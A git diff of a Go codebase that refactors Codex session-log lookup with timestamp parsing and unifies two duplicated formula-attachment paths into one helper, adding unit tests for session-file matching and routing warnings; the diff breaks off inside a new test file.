@@ -1140,30 +1341,68 @@ func findCodexSessionInDir(dir, workDir string) string {
 // extracts the cwd from the session_meta payload. Returns "" if the file
 // can't be read or doesn't contain a session_meta entry.
 func codexSessionCWD(path string) string {
+	candidate, ok := codexSessionCandidate(path)
+	if !ok {
+		return ""
+	}
+	return candidate.WorkDir
+}
+
+func codexSessionCandidate(path string) (CodexSessionCandidate, bool) {
 	f, err := os.Open(path)
 	if err != nil {
-		return ""
+		return CodexSessionCandidate{}, false
 	}
 	defer f.Close() //nolint:errcheck // read-only
 
 	scanner := bufio.NewScanner(f)
 	scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024)
 	if !scanner.Scan() {
-		return ""
+		return CodexSessionCandidate{}, false
 	}
 	var meta struct {
-		Type    string `json:"type"`
-		Payload struct {
-			CWD string `json:"cwd"`
+		Type      string `json:"type"`
+		Timestamp string `json:"timestamp"`
+		Payload   struct {
+			CWD       string `json:"cwd"`
+			Timestamp string `json:"timestamp"`
 		} `json:"payload"`
 	}
 	if err := json.Unmarshal(scanner.Bytes(), &meta); err != nil {
-		return ""
+		return CodexSessionCandidate{}, false
 	}
 	if meta.Type != "session_meta" {
-		return ""
+		return CodexSessionCandidate{}, false
+	}
+	info, _ := os.Stat(path)
+	var modTime time.Time
+	if info != nil {
+		modTime = info.ModTime()
+	}
+	startedAt := parseCodexSessionTime(meta.Payload.Timestamp)
+	if startedAt.IsZero() {
+		startedAt = parseCodexSessionTime(meta.Timestamp)
+	}
+	return CodexSessionCandidate{
+		Path:      path,
+		WorkDir:   meta.Payload.CWD,
+		StartedAt: startedAt,
+		ModTime:   modTime,
+	}, true
+}
+
+func parseCodexSessionTime(raw string) time.Time {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return time.Time{}
+	}
+	if parsed, err := time.Parse(time.RFC3339Nano, raw); err == nil {
+		return parsed
+	}
+	if parsed, err := time.Parse(time.RFC3339, raw); err == nil {
+		return parsed
 	}
-	return meta.Payload.CWD
+	return time.Time{}
 }
 
 // listDirsReverse returns directory names sorted in reverse lexicographic
diff --git a/internal/sessionlog/sessionlog_test.go b/internal/sessionlog/sessionlog_test.go
index e24b23dff6..ccdf3ae961 100644
--- a/internal/sessionlog/sessionlog_test.go
+++ b/internal/sessionlog/sessionlog_test.go
@@ -1710,6 +1710,115 @@ func TestFindCodexSessionFileUsesObservedRoots(t *testing.T) {
 	}
 }
 
+func TestFindCodexSessionFileByIDNoWindowMatchesRolloutSuffix(t *testing.T) {
+	sessDir := t.TempDir()
+	workDir := "/data/projects/myproject"
+	dayDir := filepath.Join(sessDir, "2026", "05", "19")
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	targetID := "019e3e8e-3591-7532-a1ef-8b9e882bea2f"
+	targetFile := filepath.Join(dayDir, "rollout-2026-05-19T04-46-07-"+targetID+".jsonl")
+	targetMeta := fmt.Sprintf(`{"timestamp":"2026-05-19T04:46:07.848Z","type":"session_meta","payload":{"id":%q,"cwd":%q}}`, targetID, workDir)
+	if err := os.WriteFile(targetFile, []byte(targetMeta+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	otherID := "019e3e8e-ffff-7000-a1ef-8b9e882bea2f"
+	otherFile := filepath.Join(dayDir, "rollout-2026-05-19T04-47-07-"+otherID+".jsonl")
+	otherMeta := fmt.Sprintf(`{"timestamp":"2026-05-19T04:47:07.848Z","type":"session_meta","payload":{"id":%q,"cwd":%q}}`, otherID, workDir)
+	if err := os.WriteFile(otherFile, []byte(otherMeta+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if got := FindCodexSessionFileByIDNoWindow([]string{sessDir}, workDir, targetID); got != targetFile {
+		t.Fatalf("FindCodexSessionFileByIDNoWindow() = %q, want %q", got, targetFile)
+	}
+	// A workDir mismatch must refuse attribution even when the id suffix matches.
+	if got := FindCodexSessionFileByIDNoWindow([]string{sessDir}, "/data/projects/other", targetID); got != "" {
+		t.Fatalf("FindCodexSessionFileByIDNoWindow(other workDir) = %q, want empty", got)
+	}
+}
+
+func TestFindCodexSessionFileByIDNoWindowRejectsSubstringKey(t *testing.T) {
+	sessDir := t.TempDir()
+	workDir := "/data/projects/myproject"
+	dayDir := filepath.Join(sessDir, "2026", "05", "19")
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	fullID := "019e3e8e-3591-7532-a1ef-8b9e882bea2f"
+	// The id appears as a substring in these filenames but never as the exact
+	// "-<id>.jsonl" suffix, so the keyed lookup must refuse both.
+	prefixFile := filepath.Join(dayDir, "rollout-2026-05-19T04-46-07-"+fullID+"-resumed.jsonl")
+	meta := fmt.Sprintf(`{"timestamp":"2026-05-19T04:46:07.848Z","type":"session_meta","payload":{"cwd":%q}}`, workDir)
+	if err := os.WriteFile(prefixFile, []byte(meta+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	// A truncated key is a substring of the real filename suffix; the old
+	// strings.Contains matcher would have accepted it, the suffix matcher must not.
+	truncated := fullID[:len(fullID)-4]
+	if got := FindCodexSessionFileByIDNoWindow([]string{sessDir}, workDir, truncated); got != "" {
+		t.Fatalf("FindCodexSessionFileByIDNoWindow(truncated) = %q, want empty (no substring match)", got)
+	}
+	// The full id is present but only as a non-suffix substring; still no match.
+	if got := FindCodexSessionFileByIDNoWindow([]string{sessDir}, workDir, fullID); got != "" {
+		t.Fatalf("FindCodexSessionFileByIDNoWindow(non-suffix substring) = %q, want empty", got)
+	}
+}
+
+func TestFindCodexSessionFileInTimeWindowRequiresUniqueMatch(t *testing.T) {
+	sessDir := t.TempDir()
+	workDir := "/data/projects/myproject"
+	dayDir := filepath.Join(sessDir, "2026", "05", "19")
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	start := time.Date(2026, 5, 19, 4, 46, 0, 0, time.UTC)
+	for _, name := range []string{"rollout-one.jsonl", "rollout-two.jsonl"} {
+		path := filepath.Join(dayDir, name)
+		meta := fmt.Sprintf(`{"timestamp":"2026-05-19T04:46:07Z","type":"session_meta","payload":{"cwd":%q}}`, workDir)
+		if err := os.WriteFile(path, []byte(meta+"\n"), 0o644); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	if got := FindCodexSessionFileInTimeWindow([]string{sessDir}, workDir, start, start.Add(time.Minute)); got != "" {
+		t.Fatalf("FindCodexSessionFileInTimeWindow() = %q, want empty for non-unique window", got)
+	}
+}
+
+func TestFindCodexSessionFileInTimeWindowDedupsSymlinkAliasRoots(t *testing.T) {
+	base := t.TempDir()
+	workDir := "/data/projects/myproject"
+	dayDir := filepath.Join(base, "2026", "05", "19")
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	start := time.Date(2026, 5, 19, 4, 46, 7, 0, time.UTC)
+	rollout := filepath.Join(dayDir, "rollout-2026-05-19T04-46-07-019e3e8e-3591-7532-a1ef-8b9e882bea2f.jsonl")
+	meta := fmt.Sprintf(`{"timestamp":%q,"type":"session_meta","payload":{"cwd":%q}}`, start.Format(time.RFC3339), workDir)
+	if err := os.WriteFile(rollout, []byte(meta+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	// A symlinked "account root" that resolves back into base, so the single
+	// physical rollout is reachable via both the direct date tree and the
+	// symlinked root. Without physical-identity dedup it is counted twice and
+	// the uniqueness gate wrongly collapses the window to empty.
+	if err := os.Symlink(base, filepath.Join(base, "account-alias")); err != nil {
+		t.Skipf("symlink unsupported on this platform: %v", err)
+	}
+
+	if got := FindCodexSessionFileInTimeWindow([]string{base}, workDir, start, time.Time{}); got != rollout {
+		t.Fatalf("FindCodexSessionFileInTimeWindow() = %q, want %q (symlink alias must not double-count)", got, rollout)
+	}
+}
+
 func TestCodexSessionCWD(t *testing.T) {
 	dir := t.TempDir()
 	f := filepath.Join(dir, "test.jsonl")
diff --git a/internal/sling/sling_attachment.go b/internal/sling/sling_attachment.go
index c67b997b59..338707a498 100644
--- a/internal/sling/sling_attachment.go
+++ b/internal/sling/sling_attachment.go
@@ -56,7 +56,7 @@ func CollectAttachedBeads(parent beads.Bead, store beads.Store, childQuerier Bea
 		attachments = append(attachments, attached)
 	}
 
-	addByID(parent.Metadata["molecule_id"])
+	addByID(parent.Metadata[beadmeta.MoleculeIDMetadataKey])
 	addByID(parent.Metadata["workflow_id"])
 
 	if childQuerier != nil {
@@ -163,8 +163,8 @@ func clearAttachmentMetadata(store beads.Store, parent beads.Bead, attached bead
 			return err
 		}
 	}
-	if strings.TrimSpace(parent.Metadata["molecule_id"]) == attached.ID {
-		if err := store.SetMetadata(parent.ID, "molecule_id", ""); err != nil {
+	if strings.TrimSpace(parent.Metadata[beadmeta.MoleculeIDMetadataKey]) == attached.ID {
+		if err := store.SetMetadata(parent.ID, beadmeta.MoleculeIDMetadataKey, ""); err != nil {
 			return err
 		}
 	}
@@ -395,19 +395,7 @@ func CheckBeadStateWithOptions(q BeadQuerier, beadID string, a config.Agent, dep
 	}
 
 	if IsCustomSlingQuery(a) {
-		var warnings []string
-		if b.Assignee != "" {
-			warnings = append(warnings, fmt.Sprintf("warning: bead %s already assigned to %q", beadID, b.Assignee))
-		}
-		if routedTo := strings.TrimSpace(b.Metadata[beadmeta.RoutedToMetadataKey]); routedTo != "" {
-			warnings = append(warnings, fmt.Sprintf("warning: bead %s already routed to %q", beadID, routedTo))
-		}
-		for _, l := range b.Labels {
-			if strings.HasPrefix(l, "pool:") {
-				warnings = append(warnings, fmt.Sprintf("warning: bead %s already has pool label %q", beadID, l))
-			}
-		}
-		return BeadCheckResult{Warnings: warnings}
+		return BeadCheckResult{Warnings: routedStateWarnings(b, beadID)}
 	}
 
 	target := a.QualifiedName()
@@ -433,19 +421,7 @@ func CheckBeadStateWithOptions(q BeadQuerier, beadID string, a config.Agent, dep
 			}
 			return BeadCheckResult{Idempotent: true}
 		}
-		var warnings []string
-		if b.Assignee != "" {
-			warnings = append(warnings, fmt.Sprintf("warning: bead %s already assigned to %q", beadID, b.Assignee))
-		}
-		if routedTo := strings.TrimSpace(b.Metadata[beadmeta.RoutedToMetadataKey]); routedTo != "" {
-			warnings = append(warnings, fmt.Sprintf("warning: bead %s already routed to %q", beadID, routedTo))
-		}
-		for _, l := range b.Labels {
-			if strings.HasPrefix(l, "pool:") {
-				warnings = append(warnings, fmt.Sprintf("warning: bead %s already has pool label %q", beadID, l))
-			}
-		}
-		return BeadCheckResult{Warnings: warnings}
+		return BeadCheckResult{Warnings: routedStateWarnings(b, beadID)}
 	}
 
 	if strings.TrimSpace(b.Metadata[beadmeta.RoutedToMetadataKey]) == "" {
@@ -459,6 +435,14 @@ func CheckBeadStateWithOptions(q BeadQuerier, beadID string, a config.Agent, dep
 			}
 		}
 	}
+	return BeadCheckResult{Warnings: routedStateWarnings(b, beadID)}
+}
+
+// routedStateWarnings reports human-readable warnings describing any existing
+// routing state on b (assignee, gc.routed_to metadata, and pool: labels) that
+// would collide with a fresh sling of beadID. It returns nil when b carries no
+// such state.
+func routedStateWarnings(b beads.Bead, beadID string) []string {
 	var warnings []string
 	if b.Assignee != "" {
 		warnings = append(warnings, fmt.Sprintf("warning: bead %s already assigned to %q", beadID, b.Assignee))
@@ -471,5 +455,5 @@ func CheckBeadStateWithOptions(q BeadQuerier, beadID string, a config.Agent, dep
 			warnings = append(warnings, fmt.Sprintf("warning: bead %s already has pool label %q", beadID, l))
 		}
 	}
-	return BeadCheckResult{Warnings: warnings}
+	return warnings
 }
diff --git a/internal/sling/sling_attachment_test.go b/internal/sling/sling_attachment_test.go
new file mode 100644
index 0000000000..5ed6a97caa
--- /dev/null
+++ b/internal/sling/sling_attachment_test.go
@@ -0,0 +1,71 @@
+package sling
+
+import (
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+func TestRoutedStateWarnings(t *testing.T) {
+	tests := []struct {
+		name string
+		bead beads.Bead
+		want []string
+	}{
+		{
+			name: "clean bead has no warnings",
+			bead: beads.Bead{},
+			want: nil,
+		},
+		{
+			name: "assignee only",
+			bead: beads.Bead{Assignee: "rig/polecat"},
+			want: []string{`warning: bead bd-1 already assigned to "rig/polecat"`},
+		},
+		{
+			name: "routed_to only",
+			bead: beads.Bead{Metadata: map[string]string{beadmeta.RoutedToMetadataKey: "rig/polecat"}},
+			want: []string{`warning: bead bd-1 already routed to "rig/polecat"`},
+		},
+		{
+			name: "blank routed_to metadata is ignored",
+			bead: beads.Bead{Metadata: map[string]string{beadmeta.RoutedToMetadataKey: "  "}},
+			want: nil,
+		},
+		{
+			name: "pool label only",
+			bead: beads.Bead{Labels: []string{"pool:builders"}},
+			want: []string{`warning: bead bd-1 already has pool label "pool:builders"`},
+		},
+		{
+			name: "non-pool labels are ignored",
+			bead: beads.Bead{Labels: []string{"kind:task", "priority:high"}},
+			want: nil,
+		},
+		{
+			name: "all three states, ordered assignee then routed_to then labels",
+			bead: beads.Bead{
+				Assignee: "rig/polecat",
+				Metadata: map[string]string{beadmeta.RoutedToMetadataKey: "rig/deacon"},
+				Labels:   []string{"kind:task", "pool:builders", "pool:reviewers"},
+			},
+			want: []string{
+				`warning: bead bd-1 already assigned to "rig/polecat"`,
+				`warning: bead bd-1 already routed to "rig/deacon"`,
+				`warning: bead bd-1 already has pool label "pool:builders"`,
+				`warning: bead bd-1 already has pool label "pool:reviewers"`,
+			},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := routedStateWarnings(tt.bead, "bd-1")
+			if !reflect.DeepEqual(got, tt.want) {
+				t.Fatalf("routedStateWarnings() = %#v, want %#v", got, tt.want)
+			}
+		})
+	}
+}
diff --git a/internal/sling/sling_core.go b/internal/sling/sling_core.go
index 85e8ddf3ad..8e441697a6 100644
--- a/internal/sling/sling_core.go
+++ b/internal/sling/sling_core.go
@@ -293,22 +293,38 @@ func rootOnlyVaporPourHint(formulaName string, recipe *formula.Recipe) string {
 
 // slingOnFormula handles the --on formula attachment path.
 func slingOnFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID string, result SlingResult) (SlingResult, error) {
+	return attachFormulaToBead(opts, deps, querier, beadID, opts.OnFormula, "on-formula", "formula", result)
+}
+
+// slingDefaultFormula handles the default formula attachment path.
+func slingDefaultFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID string, result SlingResult) (SlingResult, error) {
+	return attachFormulaToBead(opts, deps, querier, beadID, opts.Target.EffectiveDefaultSlingFormula(), "default-on-formula", "default formula", result)
+}
+
+// attachFormulaToBead runs the shared formula-attachment pipeline for both the
+// --on-formula and default-formula paths: prepare the graph invocation,
+// validate runtime vars, then either drive the graph-v2 branch
+// (lock -> snapshot -> instantiate -> start -> rollback) or the legacy branch
+// (check attachments -> instantiate -> set molecule_id -> finalize). The
+// caller supplies the formula name, the sling method, and the error-label
+// prefix ("formula" vs "default formula"); graph-vs-legacy behavior is
+// byte-identical across both entry points.
+func attachFormulaToBead(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID, formulaName, method, errLabel string, result SlingResult) (SlingResult, error) {
 	a := opts.Target
-	method := "on-formula"
-	formulaVars := BuildSlingFormulaVars(opts.OnFormula, beadID, opts.Vars, a, deps)
+	formulaVars := BuildSlingFormulaVars(formulaName, beadID, opts.Vars, a, deps)
 	searchPaths := SlingFormulaSearchPaths(deps, a)
-	graphInv, isGraph, err := prepareGraphV2FormulaInvocation(context.Background(), opts.OnFormula, beadID, opts, deps, a)
+	graphInv, isGraph, err := prepareGraphV2FormulaInvocation(context.Background(), formulaName, beadID, opts, deps, a)
 	if err != nil {
-		return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
+		return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 	}
 	if isGraph {
 		formulaVars = graphInv.Vars
 		result.Deprecations = append(result.Deprecations, graphInv.Deprecations...)
-		if err := validateSlingFormulaRuntimeVars(context.Background(), opts.OnFormula, searchPaths, molecule.Options{
+		if err := validateSlingFormulaRuntimeVars(context.Background(), formulaName, searchPaths, molecule.Options{
 			Title: opts.Title,
 			Vars:  formulaVars,
 		}); err != nil {
-			return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
+			return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 		}
 		return withGraphV2SourceWorkflowLock(context.Background(), deps, beadID, func() (SlingResult, error) {
 			if err := CheckNoMoleculeChildrenAllowLiveWorkflow(querier, beadID, deps.Store, &result); err != nil {
@@ -317,20 +333,20 @@ func slingOnFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID
 			if err := checkLegacySourceWorkflowConflict(deps, beadID); err != nil {
 				return result, fmt.Errorf("%w", err)
 			}
-			replacedSnapshot, err := snapshotGraphV2ReplacementRoot(deps.Store, opts.OnFormula, formulaVars, opts.ScopeKind, opts.ScopeRef, opts.Force)
+			replacedSnapshot, err := snapshotGraphV2ReplacementRoot(deps.Store, formulaName, formulaVars, opts.ScopeKind, opts.ScopeRef, opts.Force)
 			if err != nil {
-				return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
+				return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 			}
-			mResult, err := InstantiateSlingFormula(context.Background(), opts.OnFormula, searchPaths, molecule.Options{
+			mResult, err := InstantiateSlingFormula(context.Background(), formulaName, searchPaths, molecule.Options{
 				Title:            opts.Title,
 				Vars:             formulaVars,
 				PriorityOverride: BeadPriorityOverride(deps.Store, graphInv.InputConvoy),
 			}, "", opts.ScopeKind, opts.ScopeRef, a, deps, opts.Force)
 			if err != nil {
-				return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
+				return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 			}
 			wfResult, wfErr := doStartGraphWorkflow(mResult.RootID, "", a, method, deps)
-			wfResult.FormulaName = opts.OnFormula
+			wfResult.FormulaName = formulaName
 			if wfErr != nil {
 				if rollbackErr := rollbackGraphV2ReplacementLaunch(deps.Store, mResult.RootID, replacedSnapshot); rollbackErr != nil {
 					return wfResult, errors.Join(wfErr, rollbackErr)
@@ -339,45 +355,45 @@ func slingOnFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID
 			return wfResult, wfErr
 		})
 	}
-	if err := validateSlingFormulaRuntimeVars(context.Background(), opts.OnFormula, searchPaths, molecule.Options{
+	if err := validateSlingFormulaRuntimeVars(context.Background(), formulaName, searchPaths, molecule.Options{
 		Title: opts.Title,
 		Vars:  formulaVars,
 	}); err != nil {
-		return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
-	}
-	checkAttachments := CheckNoMoleculeChildren
-	if isGraph && opts.Force {
-		checkAttachments = CheckNoMoleculeChildrenAllowLiveWorkflow
+		return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 	}
-	if err := checkAttachments(querier, beadID, deps.Store, &result); err != nil {
+	// The graph path returned above, so this is the legacy (non-graph) region:
+	// isGraph is always false here, so the former `isGraph && opts.Force`
+	// live-workflow allowance could never fire. Attachments are always checked
+	// with CheckNoMoleculeChildren on this path.
+	if err := CheckNoMoleculeChildren(querier, beadID, deps.Store, &result); err != nil {
 		return result, fmt.Errorf("%w", err)
 	}
 	run := func() (SlingResult, error) {
-		mResult, err := InstantiateSlingFormula(context.Background(), opts.OnFormula, SlingFormulaSearchPaths(deps, a), molecule.Options{
+		mResult, err := InstantiateSlingFormula(context.Background(), formulaName, SlingFormulaSearchPaths(deps, a), molecule.Options{
 			Title:            opts.Title,
 			Vars:             formulaVars,
 			PriorityOverride: BeadPriorityOverride(querier, beadID),
 		}, beadID, opts.ScopeKind, opts.ScopeRef, a, deps)
 		if err != nil {
-			return result, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
+			return result, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 		}
 		wispRootID := mResult.RootID
 		if mResult.GraphWorkflow || IsGraphWorkflowAttachment(deps.Store, wispRootID) {
 			wfResult, wfErr := doStartGraphWorkflow(mResult.RootID, beadID, a, method, deps)
-			wfResult.FormulaName = opts.OnFormula
+			wfResult.FormulaName = formulaName
 			return wfResult, wfErr
 		}
-		if err := deps.Store.SetMetadata(beadID, "molecule_id", wispRootID); err != nil {
+		if err := deps.Store.SetMetadata(beadID, beadmeta.MoleculeIDMetadataKey, wispRootID); err != nil {
 			result.MetadataErrors = append(result.MetadataErrors,
 				fmt.Sprintf("setting molecule_id on %s: %v", beadID, err))
 		}
 		result.WispRootID = wispRootID
-		result.FormulaName = opts.OnFormula
+		result.FormulaName = formulaName
 		// Route the SOURCE bead, not wispRootID. An attached wisp (--on
-		// <formula>) is driven through its source bead: the source carries
-		// gc.routed_to + molecule_id and is the claimable unit of work, while
-		// the wisp root is deliberately left unrouted (and, when root-only,
-		// privatized out of Ready() by privatizeAttachedRootOnlyWisp).
+		// <formula> or default formula) is driven through its source bead: the
+		// source carries gc.routed_to + molecule_id and is the claimable unit
+		// of work, while the wisp root is deliberately left unrouted (and, when
+		// root-only, privatized out of Ready() by privatizeAttachedRootOnlyWisp).
 		// ApplyGraphRouting likewise stamps no routing on an attached recipe
 		// (graphroute: sourceBeadID != "" early-return). This is the
 		// intentional counterpart to slingFormula, which routes the standalone
@@ -386,121 +402,15 @@ func slingOnFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID
 		return finalize(opts, deps, beadID, method, result)
 	}
 	runGraph := func() (pendingSourceWorkflowLaunch, error) {
-		mResult, err := InstantiateSlingFormula(context.Background(), opts.OnFormula, SlingFormulaSearchPaths(deps, a), molecule.Options{
+		mResult, err := InstantiateSlingFormula(context.Background(), formulaName, SlingFormulaSearchPaths(deps, a), molecule.Options{
 			Title:            opts.Title,
 			Vars:             formulaVars,
 			PriorityOverride: BeadPriorityOverride(querier, beadID),
 		}, beadID, opts.ScopeKind, opts.ScopeRef, a, deps)
 		if err != nil {
-			return pendingSourceWorkflowLaunch{}, fmt.Errorf("instantiating formula %q on %s: %w", opts.OnFormula, beadID, err)
-		}
-		return pendingGraphWorkflowLaunch(mResult.RootID, beadID, a, method, opts.OnFormula, deps), nil
-	}
-	if !isGraph {
-		return run()
-	}
-	return withSourceWorkflowLaunchLock(context.Background(), deps, beadID, opts.Force, runGraph)
-}
-
-// slingDefaultFormula handles the default formula attachment path.
-func slingDefaultFormula(opts SlingOpts, deps SlingDeps, querier BeadQuerier, beadID string, result SlingResult) (SlingResult, error) {
-	a := opts.Target
-	method := "default-on-formula"
-	defaultFormula := a.EffectiveDefaultSlingFormula()
-	defaultVars := BuildSlingFormulaVars(defaultFormula, beadID, opts.Vars, a, deps)
-	searchPaths := SlingFormulaSearchPaths(deps, a)
-	graphInv, isGraph, err := prepareGraphV2FormulaInvocation(context.Background(), defaultFormula, beadID, opts, deps, a)
-	if err != nil {
-		return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-	}
-	if isGraph {
-		defaultVars = graphInv.Vars
-		result.Deprecations = append(result.Deprecations, graphInv.Deprecations...)
-		if err := validateSlingFormulaRuntimeVars(context.Background(), defaultFormula, searchPaths, molecule.Options{
-			Title: opts.Title,
-			Vars:  defaultVars,
-		}); err != nil {
-			return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-		}
-		return withGraphV2SourceWorkflowLock(context.Background(), deps, beadID, func() (SlingResult, error) {
-			if err := CheckNoMoleculeChildrenAllowLiveWorkflow(querier, beadID, deps.Store, &result); err != nil {
-				return result, fmt.Errorf("%w", err)
-			}
-			if err := checkLegacySourceWorkflowConflict(deps, beadID); err != nil {
-				return result, fmt.Errorf("%w", err)
-			}
-			replacedSnapshot, err := snapshotGraphV2ReplacementRoot(deps.Store, defaultFormula, defaultVars, opts.ScopeKind, opts.ScopeRef, opts.Force)
-			if err != nil {
-				return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-			}
-			mResult, err := InstantiateSlingFormula(context.Background(), defaultFormula, searchPaths, molecule.Options{
-				Title:            opts.Title,
-				Vars:             defaultVars,
-				PriorityOverride: BeadPriorityOverride(deps.Store, graphInv.InputConvoy),
-			}, "", opts.ScopeKind, opts.ScopeRef, a, deps, opts.Force)
-			if err != nil {
-				return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-			}
-			wfResult, wfErr := doStartGraphWorkflow(mResult.RootID, "", a, method, deps)
-			wfResult.FormulaName = defaultFormula
-			if wfErr != nil {
-				if rollbackErr := rollbackGraphV2ReplacementLaunch(deps.Store, mResult.RootID, replacedSnapshot); rollbackErr != nil {
-					return wfResult, errors.Join(wfErr, rollbackErr)
-				}
-			}
-			return wfResult, wfErr
-		})
-	}
-	if err := validateSlingFormulaRuntimeVars(context.Background(), defaultFormula, searchPaths, molecule.Options{
-		Title: opts.Title,
-		Vars:  defaultVars,
-	}); err != nil {
-		return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-	}
-	checkAttachments := CheckNoMoleculeChildren
-	if isGraph && opts.Force {
-		checkAttachments = CheckNoMoleculeChildrenAllowLiveWorkflow
-	}
-	if err := checkAttachments(querier, beadID, deps.Store, &result); err != nil {
-		return result, fmt.Errorf("%w", err)
-	}
-	run := func() (SlingResult, error) {
-		mResult, err := InstantiateSlingFormula(context.Background(), defaultFormula, SlingFormulaSearchPaths(deps, a), molecule.Options{
-			Title:            opts.Title,
-			Vars:             defaultVars,
-			PriorityOverride: BeadPriorityOverride(querier, beadID),
-		}, beadID, opts.ScopeKind, opts.ScopeRef, a, deps)
-		if err != nil {
-			return result, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
-		}
-		wispRootID := mResult.RootID
-		if mResult.GraphWorkflow || IsGraphWorkflowAttachment(deps.Store, wispRootID) {
-			wfResult, wfErr := doStartGraphWorkflow(mResult.RootID, beadID, a, method, deps)
-			wfResult.FormulaName = defaultFormula
-			return wfResult, wfErr
-		}
-		if err := deps.Store.SetMetadata(beadID, "molecule_id", wispRootID); err != nil {
-			result.MetadataErrors = append(result.MetadataErrors,
-				fmt.Sprintf("setting molecule_id on %s: %v", beadID, err))
-		}
-		result.WispRootID = wispRootID
-		result.FormulaName = defaultFormula
-		// Route the SOURCE bead, not wispRootID — see the matching note in
-		// slingOnFormula. The default formula attaches the wisp to the source
-		// bead, which stays the routed, claimable unit of work; the wisp root
-		// is intentionally left unrouted. Do not "fix" this to wispRootID.
-		return finalize(opts, deps, beadID, method, result)
-	}
-	runGraph := func() (pendingSourceWorkflowLaunch, error) {
-		mResult, err := InstantiateSlingFormula(context.Background(), defaultFormula, SlingFormulaSearchPaths(deps, a), molecule.Options{
-			Title:            opts.Title,
-			Vars:             defaultVars,
-			PriorityOverride: BeadPriorityOverride(querier, beadID),
-		}, beadID, opts.ScopeKind, opts.ScopeRef, a, deps)
-		if err != nil {
-			return pendingSourceWorkflowLaunch{}, fmt.Errorf("instantiating default formula %q on %s: %w", defaultFormula, beadID, err)
+			return pendingSourceWorkflowLaunch{}, fmt.Errorf("instantiating %s %q on %s: %w", errLabel, formulaName, beadID, err)
 		}
-		return pendingGraphWorkflowLaunch(mResult.RootID, beadID, a, method, defaultFormula, deps), nil
+		return pendingGraphWorkflowLaunch(mResult.RootID, beadID, a, method, formulaName, deps), nil
 	}
 	if !isGraph {
 		return run()
@@ -551,7 +461,7 @@ func finalize(opts SlingOpts, deps SlingDeps, beadID, method string, result Slin
 
 	// Merge strategy metadata.
 	if opts.Merge != "" && deps.Store != nil {
-		if err := deps.Store.SetMetadata(beadID, "merge_strategy", opts.Merge); err != nil {
+		if err := deps.Store.SetMetadata(beadID, beadmeta.MergeStrategyMetadataKey, opts.Merge); err != nil {
 			result.MetadataErrors = append(result.MetadataErrors,
 				fmt.Sprintf("setting merge strategy: %v", err))
 		}
@@ -1094,7 +1004,7 @@ func attachBatchFormula(ctx context.Context, opts SlingOpts, deps SlingDeps, chi
 			WispRootID:  mResult.RootID,
 			FormulaName: formulaName,
 		}
-		if err := deps.Store.SetMetadata(child.ID, "molecule_id", mResult.RootID); err != nil {
+		if err := deps.Store.SetMetadata(child.ID, beadmeta.MoleculeIDMetadataKey, mResult.RootID); err != nil {
 			result.MetadataErrors = append(result.MetadataErrors,
 				fmt.Sprintf("setting molecule_id on %s: %v", child.ID, err))
 		}
diff --git a/internal/sling/sling_core_test.go b/internal/sling/sling_core_test.go
new file mode 100644
index 0000000000..c1b5dc4973
--- /dev/null
+++ b/internal/sling/sling_core_test.go
@@ -0,0 +1,90 @@
+package sling
+
+import (
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// TestAttachFormulaToBeadEntryShapes exercises the two attachment entry points
+// that share attachFormulaToBead — --on-formula and default-formula — and
+// pins the per-path pieces the wrappers select: the sling method and the
+// error-label prefix ("formula" vs "default formula"). This is the drift the
+// S13 consolidation eliminated: before the merge these copies could diverge
+// independently, so the test asserts both success method and error prefix for
+// each entry shape.
+func TestAttachFormulaToBeadEntryShapes(t *testing.T) {
+	newDeps := func(t *testing.T) (SlingDeps, string) {
+		t.Helper()
+		cfg := &config.City{Workspace: config.Workspace{Name: "test"}}
